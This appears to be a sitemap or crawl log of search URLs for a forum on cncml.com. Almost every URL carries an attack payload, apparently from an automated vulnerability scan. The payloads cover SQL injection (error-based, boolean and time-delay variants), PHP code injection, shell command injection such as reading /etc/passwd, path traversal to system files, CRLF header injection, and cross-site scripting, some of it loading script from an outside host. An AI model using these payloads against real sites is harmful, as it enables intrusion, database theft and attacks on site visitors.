http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,(SELECT%20(CASE%20WHEN%20(41=58)%20THEN%200x74727565%20ELSE%2041*(SELECT%2041%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,(SELECT%20(CASE%20WHEN%20(43=54)%20THEN%200x74727565%20ELSE%2043*(SELECT%2043%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,(SELECT%20(CASE%20WHEN%20(81=97)%20THEN%200x74727565%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=true;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=trueAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=trueAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=468365e7&source=hotsearch&searchsubmit=truea' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%3Cdir 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=');print(md5(1122));// 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=(SELECT%20(CASE%20WHEN%20(18=95)%20THEN%200x686F74736561726368%20ELSE%2018*(SELECT%2018%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=................windowswin.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=;print(md5(1122));%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=C:%5Cboot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=dir 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=file:///c:/boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch 0.0014 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%00' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25%27%29%20AND%2053%3D74%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%2087=79%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=19)%20THEN%20'hotsearch'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%2527 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%2527%20AND%2011=33%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%5B%5D 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%5C%22 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%5C' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch%bf%27 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch' 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%20'aq'='IO 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/search.php?mod=forum&srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch'%20AND%20SLEEP(5)%20%23 0.0001 